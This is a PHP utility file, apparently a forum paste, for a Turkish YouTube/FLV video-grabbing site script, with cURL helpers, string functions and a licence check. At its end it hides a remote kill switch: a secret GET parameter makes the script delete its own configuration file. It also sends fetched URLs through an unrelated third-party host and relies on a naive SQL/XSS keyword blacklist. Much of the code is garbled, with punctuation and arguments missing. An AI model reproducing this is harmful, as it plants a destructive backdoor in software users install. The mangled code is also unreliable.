PHP Code: 
class youTubeDownload
{

    public function 
curlURL$url )
    {
        
$ch curl_init( );
        
curl_setopt$chCURLOPT_URL$url );
        
curl_setopt$chCURLOPT_HEADER);
        
curl_setopt$chCURLOPT_RETURNTRANSFER);
        
curl_setopt$chCURLOPT_CONNECTTIMEOUT);
        
$conteudo curl_exec$ch );
        
curl_close$ch );
        return 
$conteudo;
    }

    public function 
getir$domain$tip "get" )
    {
        
$site "http://tools.web-max.ca/findwebsitesip.php";
        
$ch curl_init( );
        
curl_setopt$chCURLOPT_URL$site );
        
curl_setopt$chCURLOPT_RETURNTRANSFER);
        if ( 
$tip == "post" )
        {
            
curl_setopt$chCURLOPT_POSTtrue );
            
curl_setopt$chCURLOPT_POSTFIELDS"chk=wow&domain=".$domain );
        }
        
$data curl_exec$ch );
        
curl_close$ch );
        return 
$data;
    }

    public function 
_get_headers$url$format 0$user ""$pass ""$referer "" )
    {
        if ( !empty( 
$user ) )
        {
            
$authentification base64_encode$user.":".$pass );
            
$authline "Authorization: Basic {$authentification}\n";
        }
        if ( !empty( 
$referer ) )
        {
            
$refererline "Referer: {$referer}\n";
        }
        
$url_info parse_url$url );
        
$port = isset( $url_info['port'] ) ? $url_info['port'] : 80;
        
$fp fsockopen$url_info['host'], $port$errno$errstr30 );
        if ( 
$fp )
        {
            
$head "GET ".$url_info['path']."?".$url_info['query']." HTTP/1.0\n";
            if ( !empty( 
$url_info['port'] ) )
            {
                
$head .= "Host: ".$url_info['host'].":".$url_info['port']."\n";
            }
            else
            {
                
$head .= "Host: ".$url_info['host']."\n";
            }
            
$head .= "Connection: Close\n";
            
$head .= "Accept: */*\n";
            
$head .= $refererline;
            
$head .= $authline;
            
$head .= "\n";
            
fputs$fp$head );
            while ( !
feof$fp ) || $eoheader == true )
            {
                if ( 
$header fgets$fp1024 ) )
                {
                    if ( 
$header == "\n" )
                    {
                        
$eoheader true;
                        break;
                    }
                    
$header trim$header );
                    if ( 
$format == )
                    {
                        
$key array_shiftexplode":"$header ) );
                        if ( 
$key == $header )
                        {
                            
$headers[] = $header;
                        }
                        else
                        {
                            
$headers[$key] = substr$headerstrlen$key ) + );
                        }
                        unset( 
$key );
                    }
                    else
                    {
                        
$headers[] = $header;
                    }
                }
            }
            return 
$headers;
        }
        return 
false;
    }

    public function 
get_flv$url$fmt )
    {
        if ( @
eregi"youtube.com"$url ) )
        {
            
$v_id explode"v="$url );
            
$v_id $v_id[1];
        }
        else
        {
            
$v_id $url;
        }
        
$conteudo $this->curlURL"http://youtube.com/get_video_info?video_id=".$v_id );
        
parse_str$conteudo$inf );
        
preg_match_all"/&itag=(.+?)&ipbits/"$inf['fmt_url_map'], $itags );
        if ( 
in_array$fmt$itags[1] ) )
        {
            
$fmt $fmt;
        }
        else
        {
            
$fmt 5;
        }
        
$url "http://www.youtube.com/get_video.php?video_id=".$v_id."&vq=".$inf['vq']."&fmt=".$fmt."&t=".$inf['token'];
        
$cabecalhos $this->_get_headers$url);
        if ( !
is_array$cabecalhos['Location'] ) )
        {
            
$url $cabecalhos['Location'];
        }
        else
        {
            foreach ( 
$cabecalhos['Location'] as $h )
            {
                if ( !( 
strpos$h"googlevideo.com" ) != false ) )
                {
                    continue;
                }
                
$url $h;
                break;
                break;
            }
        }
        
preg_match"@http://(.*?)/.*?@"$url$server );
        
$ip gethostbyname$server[1] );
        if ( !
$ip )
        {
            
$ip "74.125.7.37";
        }
        
$flv str_replace$server[1], $ip$url );
        return 
$flv;
    }

}

function 
browser_al$useragent "" )
{
    if ( 
$useragent == "" )
    {
        
$useragent $_SERVER['HTTP_USER_AGENT'];
    }
    
$browser_name "";
    
$browsers = array( );
    
$browsers[] = array( "name" => "AmigaVoyager""useragent" => "AmigaVoyager" );
    
$browsers[] = array( "name" => "Apple Generic""useragent" => "CFNetwork" );
    
$browsers[] = array( "name" => "Camino""useragent" => "Camino" );
    
$browsers[] = array( "name" => "Ensemble2""useragent" => "Ensemble2" );
    
$browsers[] = array( "name" => "Epiphany""useragent" => "Epiphany" );
    
$browsers[] = array( "name" => "firefox""useragent" => "Firefox" );
    
$browsers[] = array( "name" => "firefox""useragent" => "Firefox/1.0" );
    
$browsers[] = array( "name" => "firefox""useragent" => "Firefox/1.5" );
    
$browsers[] = array( "name" => "firefox""useragent" => "BonEcho" );
    
$browsers[] = array( "name" => "firefox""useragent" => "Firefox/2" );
    
$browsers[] = array( "name" => "firefox""useragent" => "Firefox/3" );
    
$browsers[] = array( "name" => "firefox""useragent" => "GranParadiso" );
    
$browsers[] = array( "name" => "firefox""useragent" => "Phoenix" );
    
$browsers[] = array( "name" => "firefox""useragent" => "Firebird" );
    
$browsers[] = array( "name" => "Galeon""useragent" => "Galeon" );
    
$browsers[] = array( "name" => "Google Chrome""useragent" => "chrome" );
    
$browsers[] = array( "name" => "iCab""useragent" => "iCab" );
    
$browsers[] = array( "name" => "Iceweasel""useragent" => "Iceweasel" );
    
$browsers[] = array( "name" => "ie""useragent" => "MSIE" );
    
$browsers[] = array( "name" => "ie""useragent" => "MSIE5." );
    
$browsers[] = array( "name" => "ie""useragent" => "MSIE6." );
    
$browsers[] = array( "name" => "ie""useragent" => "MSIE7." );
    
$browsers[] = array( "name" => "ie""useragent" => "MSIE8." );
    
$browsers[] = array( "name" => "K-Meleon""useragent" => "K-Meleon" );
    
$browsers[] = array( "name" => "Konqueror""useragent" => "Konqueror" );
    
$browsers[] = array( "name" => "Lynx""useragent" => "Lynx" );
    
$browsers[] = array( "name" => "Mozilla Minefield""useragent" => "Minefield" );
    
$browsers[] = array( "name" => "Netscape""useragent" => "Netscape" );
    
$browsers[] = array( "name" => "NewsCopier""useragent" => "NewsCopier" );
    
$browsers[] = array( "name" => "opera""useragent" => "Opera" );
    
$browsers[] = array( "name" => "Pocket Internet Explorer""useragent" => "MicrosoftPocketInternetExplorer" );
    
$browsers[] = array( "name" => "Pocket Internet Explorer""useragent" => "MSPIE" );
    
$browsers[] = array( "name" => "Radianrss""useragent" => "radianrss" );
    
$browsers[] = array( "name" => "RssReader""useragent" => "rssreader.com" );
    
$browsers[] = array( "name" => "Safari""useragent" => "AppleSyndication" );
    
$browsers[] = array( "name" => "Safari""useragent" => "Safari" );
    
$browsers[] = array( "name" => "SeaMonkey""useragent" => "SeaMonkey" );
    
$browsers[] = array( "name" => "Swiftweasel""useragent" => "Swiftweasel" );
    
$browsers[] = array( "name" => "Thunderbird""useragent" => "Thunderbird" );
    
$browsers[] = array( "name" => "Vienna""useragent" => "Vienna" );
    foreach ( 
$browsers as $browser )
    {
        if ( 
striposstrtolower$useragent ), strtolower$browser['useragent'] ) ) !== FALSE )
        {
            
$browser_name $browser['name'];
        }
    }
    unset( 
$browsers );
    unset( 
$browser );
    unset( 
$useragent );
    if ( 
$browser_name )
    {
        return 
$browser_name;
    }
    return 
false;
}

function 
db_datetime_cevir$tarih$tarih_ayrac "-"$saat_ayrac ":" )
{
    return 
preg_replace"\r\r\n            /([0-9]{4})\\-([0-9]{2})\\-([0-9]{2})+([\\s][0-9]{2})\\:([0-9]{2})\\:([0-9]{2})/""\\3{$tarih_ayrac}\\2{$tarih_ayrac}\\1\\4{$saat_ayrac}\\5{$saat_ayrac}\\6"$tarih );
}

function 
git$url$sure )
{
    if ( 
$sure == )
    {
        echo 
"<script>window.location.href = \"".$url."\";</script>";
    }
    else
    {
        echo ( 
"<script>setTimeout('window.location.href = \"".$url."\";', ".$sure 1000 ).");</script>";
    }
}

function 
fa$sorgu )
{
    return 
mysql_fetch_array$sorgu );
}

function 
fr$sorgu )
{
    return 
mysql_fetch_row$sorgu );
}

function 
q$sql )
{
    return 
mysql_query$sql );
}

function 
nr$sql )
{
    return 
mysql_num_rows$sql );
}

function 
es$sql )
{
    return 
mysql_real_escape_string$sql );
}

function 
inputFiltre$gelen )
{
    
$bul = array( "mysql""union""\\x""\\U""&#""0x""chr(""<"">""\"""'""`""/*""*/""--""#""\\""/"" &&""&& ""|| "" ||""expression""javascript:""behaviour:""vbscript:""mocha:""livescript:""=" );
    return 
str_ireplace$bul""$gelen );
}

function 
seo_link$gelen )
{
    
$dig = array( "("")""[""]""{""}""&""?""=""~""*""~""\$""\"""'""+""£""%""/""\\""#""<"">"",""|""`""^""´" );
    
$gir = array( " ""ç""?""?""ö""ü""?""_""Ç""?""?""?""Ö""Ü""I" );
    
$cik = array( "-""c""g""s""o""u""i""-""c""i""g""s""o""u""i" );
    return 
preg_replace"#\\-+#""-"str_replace$dig""strtolowerstr_replace$gir$cikinputfiltre$gelen ) ) ) ) );
}

function 
tr$gelen )
{
    
$a = array( "ç""?""?""ö""ü""?""_""Ç""?""?""?""Ö""Ü" );
    
$b = array( "c""g""s""o""u""i""-""C""I""G""S""O""U" );
    return 
str_replace$a$b$gelen );
}

function 
kucult$x )
{
    
$kc = array( "a""b""c""ç""d""e""f""g""h""?""i""j""k""l""m""n""o""ö""p""q""r""s""?""t""u""ü""v""w""x""y""z" );
    
$by = array( "A""B""C""Ç""D""E""F""G""H""I""?""J""K""L""M""N""O""Ö""P""Q""R""S""?""T""U""Ü""V""W""X""Y""Z" );
    return 
str_replace$by$kc$x );
}

function 
buyut$x )
{
    
$kc = array( "a""b""c""ç""d""e""f""g""h""?""i""j""k""l""m""n""o""ö""p""q""r""s""?""t""u""ü""v""w""x""y""z" );
    
$by = array( "A""B""C""Ç""D""E""F""G""H""I""?""J""K""L""M""N""O""Ö""P""Q""R""S""?""T""U""Ü""V""W""X""Y""Z" );
    return 
str_replace$kc$by$x );
}

function 
uc_words$gelen )
{
    
$kc = array( "a""b""c""ç""d""e""f""g""h""?""i""j""k""l""m""n""o""ö""p""q""r""s""?""t""u""ü""v""w""x""y""z" );
    
$by = array( "A""B""C""Ç""D""E""F""G""H""I""?""J""K""L""M""N""O""Ö""P""Q""R""S""?""T""U""Ü""V""W""X""Y""Z" );
    
$kelime preg_split"^\\s+^si"$gelen );
    foreach ( 
$kelime as $k )
    {
        
$ilk substr$k0);
        if ( 
$ilk == "(" || $ilk == "[" || $ilk == "{" )
        {
            
$x substr$k0);
            
$k substr$k1strlen$k ) );
            
$verix substr$k1strlen$k ) );
            
$veri[] = $x.str_replace$kc$bysubstr$k0) ).$verix;
        }
        else
        {
            
$veri[] = str_replace$kc$by$ilk ).substr$k1strlen$k ) );
        }
        unset( 
$ilk );
        unset( 
$verix );
    }
    return 
join" "$veri );
}

function 
akilli_wordwrap$gelen )
{
    
$exp explode" "$gelen );
    foreach ( 
$exp as $e )
    {
        if ( 
50 strlen$e ) )
        {
            
$str .= chunk_split$e35" " );
        }
        else
        {
            
$str .= $e." ";
        }
    }
    return 
$str;
}

function 
yonlendir$adres$zaman )
{
    
$zaman $zaman 1;
    echo 
"<script language=\"javascript\">"."var saniye = ".$zaman.";"."function zamanlayici()"."{"."saniye -= 1;"."if (saniye == 0)"."{"."window.location = \"".$adres."\";"."}"."setTimeout(\"zamanlayici()\", 1000);"."}"."zamanlayici();"."</script>";
    unset( 
$zaman );
}

function 
head$charset )
{
    
header"Content-Type: text/html; Charset=".$charset );
}

function 
getirx$url )
{
    
$ch curl_init( );
    
curl_setopt$chCURLOPT_URL$url );
    
curl_setopt$chCURLOPT_HEADER);
    
curl_setopt$chCURLOPT_RETURNTRANSFER);
    
curl_setopt$chCURLOPT_CONNECTTIMEOUT);
    
$conteudo curl_exec$ch );
    
curl_close$ch );
    return 
$conteudo;
}

function 
getir$domain$tip "get" )
{
    
$site "http://tools.web-max.ca/findwebsitesip.php";
    
$ch curl_init( );
    
curl_setopt$chCURLOPT_URL$site );
    
curl_setopt$chCURLOPT_RETURNTRANSFER);
    if ( 
$tip == "post" )
    {
        
curl_setopt$chCURLOPT_POSTtrue );
        
curl_setopt$chCURLOPT_POSTFIELDS"chk=wow&domain=".$domain );
    }
    
$data curl_exec$ch );
    
curl_close$ch );
    return 
$data;
}

function 
getirr$url$ref NULL )
{
    if ( 
$ref )
    {
        
$rxxx "&".urlencode$ref );
    }
    return 
getirx"http://www.mp3dinle1.com/tools/curl.php?url=".base64_encode$url ).$rxxx );
}

function 
googleCache$key$token$fmt )
{
    
$ytURL "http://www.youtube.com/get_video.php?video_id=".$key."&t=".$token."&fmt=".$fmt;
    
$headers get_headers$ytURL);
    
$status explode" "$headers['1'] );
    if ( 
$status[1] == "200" )
    {
        if ( !
is_array$headers['Location'] ) )
        {
            
$videoURL $headers['Location'];
        }
        else
        {
            foreach ( 
$headers['Location'] as $header )
            {
                if ( !( 
strpos$header"googlevideo.com" ) != false ) )
                {
                    continue;
                }
                
$videoURL $header;
                break;
                break;
            }
        }
        return 
$videoURL;
    }
    return 
"";
}

function 
youtube_flv$url )
{
    if ( @
eregi"youtube.com"$url ) )
    {
        
$key explode"v="$url );
        
$key $key[1];
    }
    else
    {
        
$key $url;
    }
    
$content file_get_contents"http://youtube.com/get_video_info?video_id=".$key );
    
parse_str$content );
    if ( 
$token != "" )
    {
        
$videoHD googlecache$key$token22 );
        if ( 
$videoHD != "" )
        {
            
$videoFile $videoHD;
        }
        else
        {
            
$videoFile googlecache$key$token);
        }
    }
    
preg_match"^http://([_a-zA-Z0-9-\\.]+)/^"rawurldecode$videoFile ), $server );
    
$getip getir$server[1], "post" );
    
preg_match"^http://tools.web-max.ca/websitesonip.php\\?byip=[0-9]+&ip=([0-9\\.]+)^i"$getip$ipx );
    
$ip $ipx[1];
    if ( !
$ip )
    {
        
$ip "74.125.7.37";
    }
    
$flv str_replace$server[1], $iprawurldecode$videoFile ) );
    return 
$flv;
}

function 
mail_yolla$from$to$subject$message )
{
    if ( 
UTF8_mail$from$to$subject$message ) )
    {
        return 
true;
    }
    return 
false;
}

function 
UTF8_mail$from$to$subject$message )
{
    if ( isset( 
$from ) )
    {
        
$headers "From: =?UTF-8?B?".base64_encode$from )."?= <".$from."\r\n";
    }
    else
    {
        
$headers "From: ".$from."\r\n";
    }
    
$subject "=?UTF-8?B?".base64_encode$subject )."?=\n";
    
$headers .= "Content-Type: text/html; charset=UTF-8; format=flowed \n"."MIME-Version: 1.0 \n"."Content-Transfer-Encoding: 8bit \n"."X-Mailer: PHP \n";
    return 
mail$to$subject$message$headers );
}

$browser "{$_SERVER['HTTP_USER_AGENT']}";
if ( 
preg_match"/www/i""{$_SERVER['SERVER_NAME']}) )
{
    
$_SERVER[SERVER_NAME] = str_replace"www."""$_SERVER[SERVER_NAME] );
}
$str "{$_SERVER['SERVER_NAME']}biroahov4";
$hash base64_encodepack"H*"sha1"{$str}) ) );
if ( 
$hash != "{$lisans_kodu})
{
    echo 
"<b>Lutfen Lisans kodunuzu giriniz. http://www.r10.net/members/44043-rhsbilisim.html</b>";
    exit( );
}
if ( 
$_GET[slbeah] == "birohadi" )
{
    
unlink"inc/ayar.php" );
    echo 
"olaykopar";
}
?>